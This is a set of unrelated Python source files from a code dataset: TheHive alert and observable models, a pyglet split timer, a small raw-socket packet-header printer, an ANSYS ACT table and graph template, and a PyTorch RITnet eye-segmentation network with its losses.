None\r\n message (str): Observable's description. Default: None\r\n tlp (Enum): Case's TLP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2`\r\n pap (Enum): Case's PAP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2`\r\n ioc (bool): Observable's ioc flag, `True` to mark an observable as IOC. Default: `False`\r\n sighted (bool): Observable's sighted flag, `True` to mark the observable as sighted. Default: `False`\r\n ignoreSimilarity (bool): Observable's similarity ignore flag. `True`to ignore the observable during similarity computing\r\n tags (str[]): List of observable tags. Default: `[]`\r\n data (str): Observable's data:\r\n\r\n - If the `dataType` field is set to `file`, the `data` field should contain a file path to be used as attachment\r\n - Otherwise, the `data` value is the observable's value\r\n json (JSON): If the field is not equal to None, the observable is instantiated using the JSON value instead of the arguements\r\n\r\n !!! Warning\r\n At least, one of `tags` or `message` are required. You cannot create an observable without specifying one of those fields\r\n\r\n !!! Warning\r\n `ignoreSimilarity` attribute is available in TheHive 4 ONLY\r\n \"\"\"\r\n\r\n def __init__(self, **attributes):\r\n if attributes.get('json', False):\r\n attributes = attributes['json']\r\n\r\n self.id = attributes.get('id', None)\r\n self.dataType = attributes.get('dataType', None)\r\n self.message = attributes.get('message', None)\r\n self.tlp = attributes.get('tlp', Tlp.AMBER.value)\r\n self.tags = attributes.get('tags', [])\r\n self.ioc = attributes.get('ioc', False)\r\n self.sighted = attributes.get('sighted', False)\r\n self.ignoreSimilarity = attributes.get('ignoreSimilarity', False)\r\n\r\n data = attributes.get('data', [])\r\n if self.dataType == 'file':\r\n if isinstance(data[0], tuple):\r\n file_object, filename = data[0]\r\n else:\r\n filename = data[0]\r\n # we are opening this here, but we can't close it\r\n # because it gets passed into requests.post. this is\r\n # the substance of issue #10.\r\n file_object = open(data[0], 'rb')\r\n mime = magic.Magic(mime=True).from_buffer(file_object.read())\r\n file_object.seek(0)\r\n self.data = [{'attachment': (filename, file_object, mime)}]\r\n else:\r\n self.data = data\r\n\r\n\r\nclass Alert(JSONSerializable):\r\n \"\"\"\r\n Model class describing an alert as defined in TheHive\r\n\r\n Arguments:\r\n id (str): Alert's id. Default: None\r\n tlp (Enum): Alert's TLP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2`\r\n pap (Enum): Alert's PAP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2` (TheHive 4 ONLY)\r\n severity (Enum): Alert's severity: `1`, `2`, `3`, `4` for `LOW`, `MEDIUM`, `HIGH`, `CRTICAL`. Default: `2`\r\n date (datetime): Alert's occur date. Default: `Now()`\r\n tags (str[]): List of alert tags. Default: `[]`\r\n\r\n title (str): Alert's description. Default: None\r\n type (str): Alert's type. Default: None\r\n source (str): Alert's source. Default: None\r\n sourceRef (str): Alert's source reference. Used to specify the unique identifier of the alert. Default: None\r\n externalLink (str): Alert's external link. Used to easily navigate to the source of the alert. Default: None\r\n description (str): Alert's description. Default: None\r\n customFields (CustomField[]): A set of CustomField instances, or the result of a CustomFieldHelper.build() method. Default: `{}`\r\n\r\n caseTemplate (str): Alert template's name. Default: `None`\r\n\r\n json (JSON): If the field is not equal to None, the Alert is instantiated using the JSON value instead of the arguements\r\n\r\n !!! Warning\r\n `pap`, `externalLink` attributes are available in TheHive 4 ONLY\r\n \"\"\"\r\n\r\n def __init__(self, **attributes):\r\n if attributes.get('json', False):\r\n attributes = attributes['json']\r\n\r\n self.id = attributes.get('id', None)\r\n self.tlp = attributes.get('tlp', Tlp.AMBER.value)\r\n self.pap = attributes.get('pap', Pap.AMBER.value)\r\n self.severity = attributes.get('severity', Severity.MEDIUM.value)\r\n self.date = attributes.get('date', int(time.time()) * 1000)\r\n self.tags = attributes.get('tags', [])\r\n self.caseTemplate = attributes.get('caseTemplate', None)\r\n self.externalLink = attributes.get('externalLink', None)\r\n\r\n self.title = self.attr(attributes, 'title', None, 'Missing alert title')\r\n self.type = self.attr(attributes, 'type', None, 'Missing alert type')\r\n self.source = self.attr(attributes, 'source', None, 'Missing alert source')\r\n self.sourceRef = self.attr(attributes, 'sourceRef', None, 'Missing alert reference')\r\n self.description = self.attr(attributes, 'description', None, 'Missing alert description')\r\n self.customFields = self.attr(attributes, 'customFields', {})\r\n\r\n artifacts = attributes.get('artifacts', [])\r\n self.artifacts = []\r\n for artifact in artifacts:\r\n if type(artifact) == AlertArtifact:\r\n self.artifacts.append(artifact)\r\n else:\r\n self.artifacts.append(AlertArtifact(json=artifact))\r\n\r\n\r\nclass AlertArtifact(JSONSerializable):\r\n \"\"\"\r\n Model class describing a alert observable as defined in TheHive\r\n\r\n Arguments:\r\n dataType (str): Observable's type, must be a valid type, one of the defined data types in TheHive. Default: None\r\n message (str): Observable's description. Default: None\r\n tlp (Enum): Case's TLP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2`\r\n ioc (bool): Observable's ioc flag, `True` to mark an observable as IOC. Default: `False`\r\n sighted (bool): Observable's sighted flag, `True` to mark the observable as sighted. Default: `False`\r\n ignoreSimilarity (bool): Observable's similarity ignore flag. `True`to ignore the observable during similarity computing\r\n tags (str[]): List of observable tags. Default: `[]`\r\n data (str): Observable's data:\r\n\r\n - If the `dataType` field is set to `file`, the `data` field should contain a file path to be used as attachment\r\n - Otherwise, the `data` value is the observable's value\r\n json (JSON): If the field is not equal to None, the observable is instantiated using the JSON value instead of the arguements\r\n\r\n !!! Warning\r\n `ignoreSimilarity` attribute is available in TheHive 4 ONLY\r\n \"\"\"\r\n\r\n def __init__(self, **attributes):\r\n if attributes.get('json', False):\r\n attributes = attributes['json']\r\n\r\n self.dataType = attributes.get('dataType', None)\r\n self.message = attributes.get('message', None)\r\n self.tlp = attributes.get('tlp', Tlp.AMBER.value)\r\n self.tags = attributes.get('tags', [])\r\n self.ioc = attributes.get('ioc', False)\r\n self.sighted = attributes.get('sighted', False)\r\n\r\n if 'ignoreSimilarity' in attributes:\r\n self.ignoreSimilarity = attributes.get('ignoreSimilarity', False)\r\n\r\n data = attributes.get('data', [])\r\n if self.dataType == 'file':\r\n if isinstance(data[0], tuple):\r\n file_object, filename = data[0]\r\n else:\r\n filename = data[0]\r\n # we are opening this here, but we can't close it\r\n # because it gets passed into requests.post. this is\r\n # the substance of issue #10.\r\n file_object = open(data[0], 'rb')\r\n\r\n mime = magic.Magic(mime=True).from_buffer(file_object.read())\r\n file_object.seek(0)\r\n\r\n encoded_string = base64.b64encode(file_object.read())\r\n file_object.seek(0)\r\n\r\n self.data = \"{};{};{}\".format(filename, mime, encoded_string.decode())\r\n else:\r\n self.data = data\r\n\r\n def _prepare_file_data(self, file_path):\r\n with open(file_path, \"rb\") as file_artifact:\r\n filename = os.path.basename(file_path)\r\n mime = magic.Magic(mime=True).from_file(file_path)\r\n encoded_string = base64.b64encode(file_artifact.read())\r\n\r\n return \"{};{};{}\".format(filename, mime, encoded_string.decode())\r\n","sub_path":"bin/thehive4py/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":28031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"394587019","text":"from dtime import dTime\nimport cfg\nimport pyglet\nlabel = pyglet.text.Label\n\nclass Split:\n name = \"\"\n best_time = dTime()\n prev_time = dTime()\n this_time = dTime()\n this_total = dTime()\n prev_total = dTime()\n name_label = label()\n total_label = label()\n resets = 0\n arrivals = 0\n better = 0\n better_total = 0\n ended = False\n best = False\n \n def __init__(self, line=None, sum=None, new=False):\n self.name_label = label(\"\", font_name=cfg.font_name, font_size=cfg.small_font_size, x=cfg.x_padding, y=cfg.window_height, anchor_x='left', anchor_y='top', color=cfg.split_name_color)\n self.total_label = label(\"\", font_name=cfg.font_name, font_size=cfg.font_size, x=0, y=cfg.window_height, anchor_x='right', anchor_y='top', color=cfg.time_neutral_color)\n self.delta_label = label(\"\", font_name=cfg.font_name, font_size=cfg.font_size, x=0, y=cfg.window_height, anchor_x='right', anchor_y='top', color=cfg.time_neutral_color)\n self.ended = False\n self.best = False\n self.resets = 0\n self.arrivals = 0\n self.better = 0\n self.better_total = 0\n if new == True:\n self.name = '?'\n self.best_time = dTime()\n self.prev_time = dTime()\n self.this_time = dTime()\n self.prev_total = dTime()\n self.this_total = dTime()\n elif line is None:\n self.name = \"\"\n self.best_time = dTime()\n self.prev_time = dTime()\n self.this_time = dTime()\n self.prev_total = dTime()\n self.this_total = dTime()\n else:\n sub = line.split(\";\")\n self.name = sub[0]\n sub = sub[1].lstrip().split(\" \")\n if sub[0] == \"-\":\n self.best_time = dTime()\n self.prev_time = dTime()\n self.this_time = dTime()\n self.prev_total = dTime()\n self.this_total = dTime()\n else:\n self.prev_time = dTime(text=sub[0])\n self.best_time = dTime(text=sub[1])\n self.prev_total = dTime(sum)\n self.prev_total.add_secs(self.prev_time)\n self.this_time = dTime()\n self.this_total = dTime()\n self.resets = int(sub[2])\n self.arrivals = int(sub[3])\n \n # return true if the this total time is better than the previous time\n def improved(self):\n return self.this_total.better_than(self.prev_total)\n \n # replace the previous times with these times\n def overwrite(self):\n self.prev_total.copy(self.this_total)\n self.prev_time.copy(self.this_time)\n \n # text for the success rate of this split\n def resetText(self):\n return str(self.arrivals - 1 - self.resets) + \"/\" + str(self.arrivals - 1)\n \n # reset the split to its starting configuration\n def reset(self):\n self.this_total.zero()\n self.this_time.zero()\n self.best = 0\n self.better = 0\n self.better_total = 0\n self.ended = False\n \n # set up label text and location\n def build(self, y=0):\n if y > 0:\n self.name_label.y = y\n self.total_label.y = y\n self.delta_label.y = y\n self.name_label.text = self.name\n if self.this_total.exists():\n self.total_label.text = self.this_total.to_string(centi=False, forceM=True)\n elif self.prev_total.exists():\n self.total_label.text = self.prev_total.to_string(centi=False, forceM=True)\n else:\n self.total_label.text = \"---\"\n self.total_label.x = cfg.window_width - cfg.x_padding\n self.delta_label.x = cfg.window_width - cfg.x_padding - cfg.character_x * 4\n \n if self.best:\n self.total_label.color = cfg.time_best_color\n elif self.better_total > 0:\n self.total_label.color = cfg.time_bad_color\n elif self.better_total < 0:\n self.total_label.color = cfg.time_good_color\n else:\n self.total_label.color = cfg.time_neutral_color\n \n if not self.ended:\n self.delta_label.text = \"\"\n elif self.better_total == 0:\n self.delta_label.text = \"---\"\n self.delta_label.color = cfg.time_neutral_color\n else:\n self.delta_label.text = str(self.better_total)\n if self.better_total > 0:\n self.delta_label.text = \"+\" + self.delta_label.text\n self.delta_label.color = cfg.time_bad_color\n else:\n self.delta_label.color = cfg.time_good_color\n \n # end this split and check for best / etc\n def end(self, screen):\n if not self.ended:\n self.ended = True\n self.this_time.copy(screen.current_time)\n self.this_total.copy(screen.total_time)\n if self.this_time.better_than(self.best_time):\n self.best_time.copy(self.this_time)\n self.best = True\n if self.prev_total.exists():\n self.better_total = self.this_total.delta_secs(self.prev_total)\n else:\n self.better_total = 0\n if self.prev_time.exists():\n self.better = self.this_time.delta_secs(self.prev_time)\n else:\n self.better = 0\n self.build()\n \n # draw the labels\n def draw(self):\n self.name_label.draw()\n self.total_label.draw()\n self.delta_label.draw()\n","sub_path":"split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":5648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"490011713","text":"\nimport socket, sys\nimport struct\n\nETH_P_ALL = 0x0003\n\ndef bytes_to_mac(bytesmac):\n return \":\".join(\"{:02x}\".format(x) for x in bytesmac)\n\ntry:\n s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(ETH_P_ALL))\nexcept OSError as msg:\n print('Error'+str(msg))\n sys.exit(1)\n\nprint('Socket created!')\n\ns.bind(('enp4s0',0))\n\n(packet,addr) = s.recvfrom(65536)\n\neth_length = 14\neth_header = packet[:14]\n\neth = struct.unpack(\"!6s6sH\",eth_header)\n\nprint(\"MAC Dst: \"+bytes_to_mac(eth[0]))\nprint(\"MAC Src: \"+bytes_to_mac(eth[1]))\nprint(\"Type: \"+hex(eth[2]))\n\nif eth[2] == 0x0800 :\n print(\"IP Packet\")\n ip_header = packet[eth_length:20+eth_length]\n iph = struct.unpack(\"!BBHHHBBH4s4s\", ip_header)\n version_ihl = iph[0]\n version = version_ihl >> 4\n ihl = version_ihl & 0xF\n iph_length = ihl*4\n ttl = iph[5]\n protocol = iph[6]\n s_addr = socket.inet_ntoa(iph[8])\n d_addr = socket.inet_ntoa(iph[9])\n print(\"IP Src: \"+s_addr)\n print(\"IP Dst: \"+d_addr)\n","sub_path":"examples/sniffer.py","file_name":"sniffer.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"359341232","text":"\"\"\"\n This file is the main Python file for the \"Template11\" template. \n \n Remark:\n Python programming expects users to respect certain formats.\n e.g. The leading whitespace (spaces and tabs) at the beginning of a line (i.e. the indentation level of the line) is VERY IMPORTANT in Python.\n DO NOT mix spaces and tabs while indenting a line.\n\"\"\"\n\n# Import the tabularand helper modules for creating tables and graph. \n# This Python files tabular.py should be at same folder as this (main.py) file\n# Note: Since these are external modules (not part of standard ACT bundle), the capabilities provided by these modules may be made available differently in future versions of ACT . \n# Consequently, the use of these modules should require some refactoring when the extension will be used with future versions of Mechanical.\n\nimport clr\nclr.AddReference(\"Ans.UI.Toolkit\")\nclr.AddReference(\"Ans.UI.Toolkit.Base\")\nimport Ansys.UI.Toolkit\n\nimport tabular\nimport chart\n\n# Define some global variables to use across functions\ntabularPanel, figurePanel = None, None\nfigures = None\nfigure = None\ntab = None\n \ndef showTable(analysis):\n \"\"\"\n Method called when the show button is clicked.\n\n Keyword arguments:\n analysis -- the active analysis\n \"\"\"\n \n global tabularPanel, figurePanel, figure, tab, figures\n if tabularPanel == None:\n if Ansys.UI.Toolkit.Window.MainWindow == None:\n Ansys.UI.Toolkit.Window.MainWindow = Ansys.UI.Toolkit.Window()\n # --- Create TabularData ---\n tab = tabular.Tabular()\n tab.labels = ['X', 'Y1', 'Y2']\n tabularPanel = ExtAPI.UserInterface.AttachControlToPanel(tab.view, MechanicalPanelEnum.TabularData)\n\n # --- Create Figure ---\n figure = chart.Figure()\n figures = chart.Figures(0,0) \n figure.title('X Vs. Y Plot')\n figure.xlabel('X Values')\n figure.ylabel('Y Values')\n figurePanel = ExtAPI.UserInterface.AttachControlToPanel(figures.view, MechanicalPanelEnum.Graph)\n\n # Populate the table\n XArray = [0.0,1.0,2.0,3.0]\n Y1Array = [100.0,300.0,200.0,400.0]\n Y2Array = [400.0,200.0,300.0,100.0] \n # Now display the table \n columns = [XArray, Y1Array, Y2Array]\n tab.setdata(tab.labels, columns)\n tabularPanel.Show()\n\n # Clear the old figures and replot\n figures.clear()\n figure.plot(XArray, Y1Array, '-r+', variablelabel=\"Y1\") \n figure.plot(XArray, Y2Array, '-bo', variablelabel=\"Y2\")\n figure.legend()\n figures.setfigures(1,1,figure)\n figurePanel.Show()\n \ndef hideTable(analysis):\n \"\"\"\n Method called when the hide button is clicked.\n\n Keyword arguments:\n analysis -- the active analysis\n \"\"\"\n global tabularPanel, figurePanel, figure, tab, figures\n if tabularPanel != None: # hide if the panels were created\n tabularPanel.Hide()\n figurePanel.Hide()\n figure.Dispose()\n figures.Dispose()\n tab.Dispose()\n tabularPanel.Close()\n figurePanel.Close()\n tabularPanel, figurePanel = None, None\n Ansys.UI.Toolkit.Window.MainWindow = None","sub_path":"ACTMechanicalTemplates/Template11-Table_n_Graph/Template11-Table_n_Graph/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"392770171","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 2 13:10:53 2020\n\n@author: aayush\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: rakshit\n\"\"\"\nimport torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom ..utils import normPts, regressionModule, linStack\nfrom ..loss import conf_Loss, get_ptLoss, get_seg2ptLoss, get_segLoss, get_seg2elLoss, get_selfConsistency\n\ndef getSizes(chz, growth, blks=4):\n # This function does not calculate the size requirements for head and tail\n\n # Encoder sizes\n sizes = {'enc': {'inter':[], 'ip':[], 'op': []},\n 'dec': {'skip':[], 'ip': [], 'op': []}}\n sizes['enc']['inter'] = np.array([chz for i in range(0, blks)])\n sizes['enc']['op'] = np.array([chz for i in range(0, blks)])\n sizes['enc']['ip'] = np.array([chz for i in range(0, blks)])\n\n # Decoder sizes\n sizes['dec']['skip'] = sizes['enc']['ip'][::-1] + sizes['enc']['inter'][::-1]\n sizes['dec']['ip'] = sizes['enc']['op'][::-1] #+ sizes['dec']['skip']\n sizes['dec']['op'] = np.append(sizes['enc']['op'][::-1][1:], chz)\n return sizes\n\nclass DenseNet2D_down_block(nn.Module):\n def __init__(self,input_channels,output_channels,down_size,dropout=False,prob=0):\n super(DenseNet2D_down_block, self).__init__()\n self.conv1 = nn.Conv2d(input_channels,output_channels,kernel_size=(3,3),padding=(1,1))\n self.conv21 = nn.Conv2d(input_channels+output_channels,output_channels,kernel_size=(1,1),padding=(0,0))\n self.conv22 = nn.Conv2d(output_channels,output_channels,kernel_size=(3,3),padding=(1,1))\n self.conv31 = nn.Conv2d(input_channels+2*output_channels,output_channels,kernel_size=(1,1),padding=(0,0))\n self.conv32 = nn.Conv2d(output_channels,output_channels,kernel_size=(3,3),padding=(1,1))\n self.max_pool = nn.AvgPool2d(kernel_size=down_size)\n\n self.relu = nn.LeakyReLU()\n self.down_size = down_size\n self.dropout = dropout\n self.dropout1 = nn.Dropout(p=prob)\n self.dropout2 = nn.Dropout(p=prob)\n self.dropout3 = nn.Dropout(p=prob)\n self.bn = torch.nn.BatchNorm2d(num_features=output_channels)\n\n def forward(self, x):\n if self.down_size != None:\n x = self.max_pool(x)\n\n if self.dropout:\n x1 = self.relu(self.dropout1(self.conv1(x)))\n x21 = torch.cat((x,x1),dim=1)\n x22 = self.relu(self.dropout2(self.conv22(self.conv21(x21))))\n x31 = torch.cat((x21,x22),dim=1)\n out = self.relu(self.dropout3(self.conv32(self.conv31(x31))))\n else:\n x1 = self.relu(self.conv1(x))\n x21 = torch.cat((x,x1),dim=1)\n x22 = self.relu(self.conv22(self.conv21(x21)))\n x31 = torch.cat((x21,x22),dim=1)\n out = self.relu(self.conv32(self.conv31(x31)))\n return self.bn(out)\n\nclass DenseNet2D_up_block(nn.Module):\n def __init__(self,skip_channels,input_channels,output_channels,up_stride=2,dropout=False,prob=0):\n super(DenseNet2D_up_block, self).__init__()\n self.conv11 = nn.Conv2d(skip_channels+input_channels,output_channels,kernel_size=(1,1),padding=(0,0))\n self.conv12 = nn.Conv2d(output_channels,output_channels,kernel_size=(3,3),padding=(1,1))\n self.conv21 = nn.Conv2d(skip_channels+input_channels+output_channels,output_channels,\n kernel_size=(1,1),padding=(0,0))\n self.conv22 = nn.Conv2d(output_channels,output_channels,kernel_size=(3,3),padding=(1,1))\n self.relu = nn.LeakyReLU()\n self.up_stride = up_stride\n self.dropout = dropout\n self.dropout1 = nn.Dropout(p=prob)\n self.dropout2 = nn.Dropout(p=prob)\n\n def forward(self,prev_feature_map,x):\n x = nn.functional.interpolate(x,scale_factor=self.up_stride,mode='nearest')\n x = torch.cat((x,prev_feature_map),dim=1)\n if self.dropout:\n x1 = self.relu(self.dropout1(self.conv12(self.conv11(x))))\n x21 = torch.cat((x,x1),dim=1)\n out = self.relu(self.dropout2(self.conv22(self.conv21(x21))))\n else:\n x1 = self.relu(self.conv12(self.conv11(x)))\n x21 = torch.cat((x,x1),dim=1)\n out = self.relu(self.conv22(self.conv21(x21)))\n return out\n\nclass DenseNet_encoder(nn.Module):\n def __init__(self, in_channels=1,\n out_channels=3,\n channel_size=32,\n actfunc=F.leaky_relu,\n norm=nn.BatchNorm2d,\n concat=True,\n dropout=False,\n prob=0):\n super(DenseNet_encoder, self).__init__()\n \n self.down_block1 = DenseNet2D_down_block(input_channels=in_channels,\n output_channels=channel_size,\n down_size=None,dropout=dropout,\n prob=prob)\n self.down_block2 = DenseNet2D_down_block(input_channels=channel_size,\n output_channels=channel_size,\n down_size=(2,2),\n dropout=dropout,\n prob=prob)\n self.down_block3 = DenseNet2D_down_block(input_channels=channel_size,\n output_channels=channel_size,\n down_size=(2,2),\n dropout=dropout,\n prob=prob)\n self.down_block4 = DenseNet2D_down_block(input_channels=channel_size,\n output_channels=channel_size,\n down_size=(2,2),\n dropout=dropout,prob=prob)\n self.down_block5 = DenseNet2D_down_block(input_channels=channel_size,\n output_channels=channel_size,\n down_size=(2,2),\n dropout=dropout,\n prob=prob)\n \n def forward(self, x):\n self.x1 = self.down_block1(x)\n self.x2 = self.down_block2(self.x1)\n self.x3 = self.down_block3(self.x2)\n self.x4 = self.down_block4(self.x3)\n self.x5 = self.down_block5(self.x4)\n return self.x4,self.x3,self.x2,self.x1,self.x5 \n \nclass DenseNet_decoder(nn.Module):\n def __init__(self, in_channels=1,\n out_channels=3,\n channel_size=32,\n actfunc=F.leaky_relu,\n norm=nn.BatchNorm2d,\n concat=True,\n dropout=False,\n prob=0):\n super(DenseNet_decoder, self).__init__()\n\n self.up_block1 = DenseNet2D_up_block(skip_channels=channel_size,\n input_channels=channel_size,\n output_channels=channel_size,\n up_stride=(2,2),\n dropout=dropout,\n prob=prob)\n self.up_block2 = DenseNet2D_up_block(skip_channels=channel_size,\n input_channels=channel_size,\n output_channels=channel_size,\n up_stride=(2,2),\n dropout=dropout,\n prob=prob)\n self.up_block3 = DenseNet2D_up_block(skip_channels=channel_size,\n input_channels=channel_size,\n output_channels=channel_size,\n up_stride=(2,2),\n dropout=dropout,\n prob=prob)\n self.up_block4 = DenseNet2D_up_block(skip_channels=channel_size,\n input_channels=channel_size,\n output_channels=channel_size,\n up_stride=(2,2),\n dropout=dropout,\n prob=prob)\n\n self.final = nn.Conv2d(in_channels=channel_size,\n out_channels=out_channels,\n kernel_size=1,\n padding=0) \n\n def forward(self, skip4, skip3, skip2, skip1, x):\n x = self.up_block4(skip4, x)\n x = self.up_block3(skip3, x)\n x = self.up_block2(skip2, x)\n x = self.up_block1(skip1, x)\n o = self.final(x)\n return o\n\nclass DenseNet2D(nn.Module):\n def __init__(self,\n chz=32,\n growth=1.2,\n actfunc=F.leaky_relu,\n norm=nn.BatchNorm2d,\n selfCorr=False,\n disentangle=False,\n dropout=True,\n prob=0.2):\n super(DenseNet2D, self).__init__()\n\n self.sizes = getSizes(chz, growth)\n\n self.toggle = True\n self.selfCorr = selfCorr\n self.disentangle = disentangle\n self.disentangle_alpha = 2\n\n self.enc = DenseNet_encoder(in_channels=1, \n out_channels=3, \n channel_size=chz,\n actfunc=actfunc, \n norm=norm,\n concat=True,\n dropout=False,\n prob=0)\n self.dec = DenseNet_decoder(in_channels=1, \n out_channels=3, \n channel_size=chz,\n actfunc=actfunc, \n norm=norm,\n concat=True,\n dropout=False,\n prob=0)\n self.elReg = regressionModule(self.sizes)\n\n self._initialize_weights()\n\n\n def setDatasetInfo(self, numSets=2):\n # Produces a 1 layered MLP which directly maps bottleneck to the DS ID\n self.numSets = numSets\n self.dsIdentify_lin = linStack(num_layers=2,\n in_dim=self.sizes['enc']['op'][-1],\n hidden_dim=64,\n out_dim=numSets,\n bias=True,\n actBool=False,\n dp=0.0)\n\n def forward(self,\n x, # Input batch of images [B, 1, H, W]\n target, # Target semantic output of 3 classes [B, H, W]\n pupil_center, # Pupil center [B, 2]\n elNorm, # Normalized ellipse parameters [B, 2, 5]\n spatWts, # Spatial weights for segmentation loss (boundary loss) [B, H, W]\n distMap, # Distance map for segmentation loss (surface loss) [B, 3, H, W]\n cond, # A condition array for each entry which marks its status [B, 4]\n ID, # A Tensor containing information about the dataset or subset a entry\n alpha): # Alpha score for various loss curicullum\n\n B, _, H, W = x.shape\n x4, x3, x2, x1, x = self.enc(x)\n latent = torch.mean(x.flatten(start_dim=2), -1) # [B, features]\n elOut = self.elReg(x, alpha) # Linear regression to ellipse parameters\n op = self.dec(x4, x3, x2, x1, x)\n\n\n #%%\n op_tup = get_allLoss(op, # Output segmentation map\n elOut, # Predicted Ellipse parameters\n target, # Segmentation targets\n pupil_center, # Pupil center\n elNorm, # Normalized ellipse equation\n spatWts, # Spatial weights\n distMap, # Distance maps\n cond, # Condition\n ID, # Image and dataset ID\n alpha)\n \n loss, pred_c_seg = op_tup\n \n # Uses ellipse center from segmentation but other params from regression\n elPred = torch.cat([pred_c_seg[:, 0, :], elOut[:, 2:5],\n pred_c_seg[:, 1, :], elOut[:, 7:10]], dim=1) # Bx5\n \n # Segmentation to ellipse loss\n loss_seg2el = get_seg2elLoss(target==2, elPred[:, 5:], 1-cond[:,1]) +\\\n get_seg2elLoss(~(target==0), elPred[:, :5], 1-cond[:,1])\n loss += loss_seg2el\n \n if self.selfCorr:\n loss += 10*get_selfConsistency(op, elPred, 1-cond[:, 1])\n\n if self.disentangle:\n pred_ds = self.dsIdentify_lin(latent)\n # Disentanglement procedure\n if self.toggle:\n # Primary loss + alpha*confusion\n loss += self.disentangle_alpha*conf_Loss(pred_ds,\n ID.to(torch.long),\n self.toggle)\n else:\n # Secondary loss\n loss = conf_Loss(pred_ds, ID.to(torch.long), self.toggle)\n return op, elPred, latent, loss.unsqueeze(0)\n\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, np.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n n = m.weight.size(1)\n m.weight.data.normal_(0, 0.01)\n m.bias.data.zero_()\n\ndef get_allLoss(op, # Network output\n elOut, # Network ellipse regression output\n target, # Segmentation targets\n pupil_center, # Pupil center\n elNorm, # Normalized ellipse parameters\n spatWts,\n distMap,\n cond, # Condition matrix, 0 represents modality exists\n ID,\n alpha):\n\n B, C, H, W = op.shape\n loc_onlyMask = (1 -cond[:,1]).to(torch.float32) # GT mask present (True means mask exist)\n loc_onlyMask.requires_grad = False # Ensure no accidental backprop\n \n # Segmentation to pupil center loss using center of mass\n l_seg2pt_pup, pred_c_seg_pup = get_seg2ptLoss(op[:, 2, ...],\n normPts(pupil_center,\n target.shape[1:]), temperature=4)\n \n # Segmentation to iris center loss using center of mass\n if torch.sum(loc_onlyMask):\n # Iris center is only present when GT masks are present. Note that\n # elNorm will hold garbage values. Those samples should not be backprop\n iriMap = -op[:, 0, ...] # Inverse of background mask\n l_seg2pt_iri, pred_c_seg_iri = get_seg2ptLoss(iriMap,\n elNorm[:, 0, :2],\n temperature=4)\n temp = torch.stack([loc_onlyMask, loc_onlyMask], dim=1)\n l_seg2pt_iri = torch.sum(l_seg2pt_iri*temp)/torch.sum(temp.to(torch.float32))\n l_seg2pt_pup = torch.mean(l_seg2pt_pup)\n \n else:\n # If GT map is absent, loss is set to 0.0\n # Set Iris and Pupil center to be same\n l_seg2pt_iri = 0.0\n l_seg2pt_pup = torch.mean(l_seg2pt_pup)\n pred_c_seg_iri = torch.clone(elOut[:, 5:7])\n\n pred_c_seg = torch.stack([pred_c_seg_iri,\n pred_c_seg_pup], dim=1) # Iris first policy\n l_seg2pt = 0.5*l_seg2pt_pup + 0.5*l_seg2pt_iri\n\n # Segmentation loss -> backbone loss\n l_seg = get_segLoss(op, target, spatWts, distMap, loc_onlyMask, alpha)\n\n # Bottleneck ellipse losses\n # NOTE: This loss is only activated when normalized ellipses do not exist\n l_pt = get_ptLoss(elOut[:, 5:7], normPts(pupil_center,\n target.shape[1:]), 1-loc_onlyMask)\n \n # Compute ellipse losses - F1 loss for valid samples\n l_ellipse = get_ptLoss(elOut, elNorm.view(-1, 10), loc_onlyMask)\n\n total_loss = l_seg2pt + 20*l_seg + 10*(l_pt + l_ellipse)\n\n return (total_loss, pred_c_seg)","sub_path":"ritnet/Ellseg/models/RITnet_v1.py","file_name":"RITnet_v1.py","file_ext":"py","file_size_in_byte":16968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"611347911","text":"import sys\n\nsys.path.insert(0, \"/gpfs/fs0/data/DeepLearning/sabedin/DeployedProjects/incidental-findings/\")\n\nimport os\n\nimport candidate_generator.predictor as candidate_gen_predictor\nimport candidate_generator.trainer as candidate_gen_trainer\nimport config as config\nfrom helpers.shared_helpers import SharedHelpers\nfrom helpers.data_selector import DataSelector\n\nsh = SharedHelpers()\n\n\ndef create_experiemnt_dir(model_name, experiment_id):\n \"\"\"\n Creates the experiment directory\n :return: Path to the experiment directory\n \"\"\"\n is_trainable = True\n # Create model dir\n model_dir_path = os.path.join(config.DEFAULT_CONFIG['experiment_base_dir'],\n model_name)\n if not os.path.exists(model_dir_path):\n os.makedirs(model_dir_path)\n\n # Create experiment dir\n experiemnt_dir = os.path.join(model_dir_path, experiment_id)\n if not os.path.exists(experiemnt_dir):\n os.makedirs(experiemnt_dir)\n else:\n # Since the directory already exists,\n # lets assume that there is a weights.hdf file thatwe can use and don't need to train again\n is_trainable = False\n sh.print('New experiment directory could not be created!')\n\n # SharedHelpers._print(os.path.realpath(experiemnt_dir))\n return experiemnt_dir, is_trainable\n\n\ndef dump_config(directory):\n \"\"\"\n Function to save the config parameters\n :param directory: Save Directory\n :return: None\n \"\"\"\n if not os.path.exists(os.path.join(directory, 'config.txt')):\n with 